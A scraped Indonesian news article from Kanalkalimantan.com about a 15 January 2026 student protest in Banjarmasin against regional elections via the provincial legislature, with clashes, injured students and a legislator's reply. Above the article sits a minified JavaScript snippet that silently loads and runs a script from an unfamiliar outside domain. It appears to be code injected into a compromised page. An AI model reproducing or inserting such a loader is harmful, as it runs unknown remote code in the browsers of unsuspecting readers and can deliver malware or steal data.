(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mahasiswa menggelar demo tolak wacana Pilkada melalui DPRD di depan gedung DPRD Kalimantan Selatan (Kalsel) di Banjarmasin, Kamis (15/1/2026) siang.
Pantauan Kanalkalimantan, mahasiswa dengan berbagai warna almamater Perguruan tinggi tiba di Rumah Banjar pada pukul 14.35 Wita. Sesampainya di lokasi, mahasiswa bergiliran berorasi menyampaikan kritik terkait rencana Pilkada tidak langsung.
Selain itu, mereka juga mengeluarkan kegelisahan tentang banjir yang disebabkan kondisi darurat ekologis di Kalsel.
Baca juga: Hari Dharma Samudera: Mengenang Pertempuran Heroik 15 Januari 1962
Setelah itu, mahasiswa ingin menemui Ketua DPRD Kalsel, H Supian HK untuk menyampaikan secara langsung tuntutan berdasarkan kajian akademis yang telah disiapkan.
Sayangnya, orang nomor satu di DPRD Kalsel itu tidak ada di tempat karena menurut kabar sedang melaksanakan reses di Amuntai, Kabupaten Hulu Sungai Utara (HSU).
Sontak kabar tersebut mengecewakan mahasiswa sebab mereka menilai pimpinan DPRD Kalsel lebih memilih reses daripada mendengarkan langsung aspirasi rakyat yang turun ke jalan.
Mahasiswa ingin masuk ke dalam gedung DPRD Kalsel untuk menyampaikan tuntutan ke staf DPRD yang berada di Rumah Banjar.
Baca juga: Banjir Masih Lumpuhkan Desa Simpang Lima, Warga Bergantung Bantuan
Situasi memanas saat negosiasi tidak menemui titik terang dan mahasiswa memaksa masuk ke dalam. Akibatnya, bentrok pun tak terelakkan antara mahasiswa dan aparat keamanan.
Bentrok terjadi dua kali sampai pintu gerbang sebelah kiri gedung DPRD Kalsel sampai terlepas akibat kericuhan.
Koordinator Pusat Aliansi BEM se Kalsel, M Irfan Naufal menyebut ada tiga mahasiswa dilarikan ke Rumah Sakit, satu mahasiswa hidungnya berdarah, dan satu mahasiswa pincang diduga akibat tindakan represif oleh aparat.
Pihaknya menyayangkan tindakan aparat walau massa yang datang jauh lebih sedikit dibanding aksi September tahun lalu.
Baca juga: Bawa 2.000 Paket Bantuan Bupati Banjar dan Jajaran Salurkan Langsung ke Sejumlah Desa di Martapura
“Hari ini kami dibentrokkan, dipukul, ditendang. Padahal jumlah kami sedikit dan kami hanya ingin masuk ke rumah kami,” ujar Naufal.
Baru pada pukul 16.45 Wita, Anggota Komisi III DPRD Kalsel, H Muhammad Rosehan NB datang menemui massa usai melaksanakan reses di dapilnya.
Setelah mendapat persetujuan dari pimpinan DPRD melalui telepon, akhirnya mahasiswa dipersilahkan masuk ke Rumah Banjar secara bergiliran per kampus.
Rosehan mengatakan, aksi selanjutnya sebaiknya mengedepankan kondusifitas agar tidak ada lagi benturan antara mahasiswa dan aparat keamanan.
Baca juga: Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak
“Supaya tidak merusak tatanan bersilaturahmi,” tutur politisi dari Fraksi PDI Perjuangan ini.
Dia menyadari bahwa tuntutan yang dibawa mahasiswa menyangkut hajat orang banyak, oleh sebab itu semua aspirasi akan diteruskan ke DPR RI.
“Apapun yang diminta akan kita sampaikan karena keputusan semuanya di pusat,” pungkas Rosehan. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.